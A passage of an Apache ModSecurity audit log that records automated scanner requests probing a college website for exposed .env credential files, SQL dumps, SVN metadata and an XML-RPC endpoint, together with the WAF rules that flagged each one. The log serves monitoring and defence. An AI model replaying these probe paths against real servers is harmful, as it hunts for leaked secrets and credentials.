[severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/conf/.env"] [unique_id "aE8yr3wizUED0-SK4eRIGAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020783068635 674874 (- - -) Stopwatch2: 1750020783068635 674874; combined=1814, p1=407, p2=1261, p3=0, p4=0, p5=145, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --60c4c75f-Z-- --a76d5a3e-A-- [16/Jun/2025:02:23:18.094942 +0530] aE8yvVfWRcme38U-qk7oygAAAAI 185.177.72.210 56756 127.0.0.1 7081 --a76d5a3e-B-- GET /ehthumbs.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a76d5a3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8cf5c49041f3bc765a5dda9e4afec28a1750020797; expires=Sun, 15 Jun 2025 21:53:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a76d5a3e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/ehthumbs.db"] [unique_id "aE8yvVfWRcme38U-qk7oygAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020797435792 659236 (- - -) Stopwatch2: 1750020797435792 659236; combined=1871, p1=322, p2=1422, p3=0, p4=0, p5=127, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a76d5a3e-Z-- --dd4fbe0f-A-- [16/Jun/2025:02:23:19.111787 +0530] aE8yvs0RsCO0eBtdhx6_mQAAAAg 185.177.72.210 56780 127.0.0.1 7081 --dd4fbe0f-B-- GET /:8181/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --dd4fbe0f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e17d4128b2f5beabf75346b4ccef46301750020798; expires=Sun, 15 Jun 2025 21:53:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --dd4fbe0f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/config/.env"] [unique_id "aE8yvs0RsCO0eBtdhx6_mQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020798454938 656909 (- - -) Stopwatch2: 1750020798454938 656909; combined=2065, p1=383, p2=1618, p3=0, p4=0, p5=63, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --dd4fbe0f-Z-- --807e3e61-A-- [16/Jun/2025:02:23:46.273560 +0530] aE8y2VfWRcme38U-qk7o1wAAAAI 185.177.72.210 33706 127.0.0.1 7081 --807e3e61-B-- GET /web.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --807e3e61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eab5da225b224d0113b4b15480dac5001750020826; expires=Sun, 15 Jun 2025 21:53:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --807e3e61-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/web.sql"] [unique_id "aE8y2VfWRcme38U-qk7o1wAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020825630563 643061 (- - -) Stopwatch2: 1750020825630563 643061; combined=1797, p1=398, p2=1281, p3=0, p4=0, p5=118, sr=112, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --807e3e61-Z-- --4c31ae65-A-- [16/Jun/2025:02:23:47.551249 +0530] aE8y2s0RsCO0eBtdhx6_pgAAAAg 128.199.112.101 33738 127.0.0.1 7081 --4c31ae65-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4c31ae65-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4c31ae65-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8y2s0RsCO0eBtdhx6_pgAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020826633725 917592 (- - -) Stopwatch2: 1750020826633725 917592; combined=2324, p1=337, p2=1534, p3=73, p4=62, p5=198, sr=90, sw=120, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4c31ae65-Z-- --ce8fc33d-A-- [16/Jun/2025:02:23:48.554380 +0530] aE8y2zW73rwPI0SU-ijvNwAAAAA 185.177.72.210 33806 127.0.0.1 7081 --ce8fc33d-B-- GET /:5000/app/configura/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ce8fc33d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c692b428919f75d8a8b34a1c06553fb71750020828; expires=Sun, 15 Jun 2025 21:53:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ce8fc33d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/app/configura/.env"] [unique_id "aE8y2zW73rwPI0SU-ijvNwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020827857928 696530 (- - -) Stopwatch2: 1750020827857928 696530; combined=2006, p1=378, p2=1531, p3=0, p4=0, p5=96, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ce8fc33d-Z-- --d296cd7c-A-- [16/Jun/2025:02:23:49.524245 +0530] aE8y3CHEjD4mqWjYVm14VgAAABM 185.177.72.210 33860 127.0.0.1 7081 --d296cd7c-B-- GET /:8443/django_project_path/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d296cd7c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5a771bdb74af45501e7826c5c29ceadd1750020829; expires=Sun, 15 Jun 2025 21:53:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d296cd7c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/django_project_path/.env"] [unique_id "aE8y3CHEjD4mqWjYVm14VgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020828878523 645785 (- - -) Stopwatch2: 1750020828878523 645785; combined=1169, p1=272, p2=798, p3=0, p4=0, p5=98, sr=72, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d296cd7c-Z-- --860e6c44-A-- [16/Jun/2025:02:23:53.524071 +0530] aE8y4M0RsCO0eBtdhx6_qQAAAAg 185.177.72.210 40680 127.0.0.1 7081 --860e6c44-B-- GET /selfish-darling-backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --860e6c44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6b51c3ca6cf1318db63c660f5b3d82411750020833; expires=Sun, 15 Jun 2025 21:53:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --860e6c44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/selfish-darling-backend/.env"] [unique_id "aE8y4M0RsCO0eBtdhx6_qQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020832697662 826478 (- - -) Stopwatch2: 1750020832697662 826478; combined=2333, p1=493, p2=1747, p3=0, p4=0, p5=92, sr=116, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --860e6c44-Z-- --a45fac6e-A-- [16/Jun/2025:02:23:59.580659 +0530] aE8y5s0RsCO0eBtdhx6_rAAAAAg 185.177.72.210 40892 127.0.0.1 7081 --a45fac6e-B-- GET /:5000/.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a45fac6e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9efc92e6ca8c298b59c6c316ec89a7661750020839; expires=Sun, 15 Jun 2025 21:53:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a45fac6e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.sample"] [unique_id "aE8y5s0RsCO0eBtdhx6_rAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020838874747 706004 (- - -) Stopwatch2: 1750020838874747 706004; combined=1911, p1=347, p2=1456, p3=0, p4=0, p5=107, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a45fac6e-Z-- --42c0a110-A-- [16/Jun/2025:02:24:10.343136 +0530] aE8y8SHEjD4mqWjYVm14YAAAABM 185.177.72.210 57502 127.0.0.1 7081 --42c0a110-B-- GET /:8008/.env.save HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --42c0a110-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e42afb8e90a04452a6384d0b47687f6e1750020850; expires=Sun, 15 Jun 2025 21:54:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --42c0a110-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.save"] [unique_id "aE8y8SHEjD4mqWjYVm14YAAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020849694965 648244 (- - -) Stopwatch2: 1750020849694965 648244; combined=1753, p1=453, p2=1214, p3=0, p4=0, p5=85, sr=109, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --42c0a110-Z-- --a4a8b474-A-- [16/Jun/2025:02:24:13.353188 +0530] aE8y9NxCjYf3vhjKXItviQAAAA8 185.177.72.210 57634 127.0.0.1 7081 --a4a8b474-B-- GET /resources/docker/rediscommander/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a4a8b474-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6241cb7439321cfc2498bb0689552de21750020853; expires=Sun, 15 Jun 2025 21:54:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a4a8b474-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/resources/docker/rediscommander/.env"] [unique_id "aE8y9NxCjYf3vhjKXItviQAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020852694053 659198 (- - -) Stopwatch2: 1750020852694053 659198; combined=1761, p1=372, p2=1287, p3=0, p4=0, p5=102, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a4a8b474-Z-- --71c9035c-A-- [16/Jun/2025:02:24:16.503198 +0530] aE8y92BSQiWwwCa-v2QDHwAAAAQ 185.177.72.210 57772 127.0.0.1 7081 --71c9035c-B-- GET /backups/.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71c9035c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0dc7af937553936a815ceed75ca2c9bc1750020856; expires=Sun, 15 Jun 2025 21:54:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71c9035c-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backups/.svn/entries"] [unique_id "aE8y92BSQiWwwCa-v2QDHwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020855833365 669908 (- - -) Stopwatch2: 1750020855833365 669908; combined=1792, p1=312, p2=1371, p3=0, p4=0, p5=109, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71c9035c-Z-- --edfbe933-A-- [16/Jun/2025:02:24:25.577566 +0530] aE8zAE-pZ3B--SoGku849gAAABE 185.177.72.210 50970 127.0.0.1 7081 --edfbe933-B-- GET /.testr.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --edfbe933-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cf0763843dbfaacf87bd35dbce2de9371750020865; expires=Sun, 15 Jun 2025 21:54:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --edfbe933-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".testr.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".testr.conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.testr.conf"] [unique_id "aE8zAE-pZ3B--SoGku849gAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020864898821 678853 (- - -) Stopwatch2: 1750020864898821 678853; combined=2018, p1=437, p2=1480, p3=0, p4=0, p5=101, sr=138, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --edfbe933-Z-- --3b9a7163-A-- [16/Jun/2025:02:24:27.557096 +0530] aE8zAs0RsCO0eBtdhx6_uQAAAAg 185.177.72.210 51072 127.0.0.1 7081 --3b9a7163-B-- GET /:8080/.env.dist HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b9a7163-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=556f419173219b17faacf5c9ef2986351750020867; expires=Sun, 15 Jun 2025 21:54:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b9a7163-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.dist"] [unique_id "aE8zAs0RsCO0eBtdhx6_uQAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020866905215 651944 (- - -) Stopwatch2: 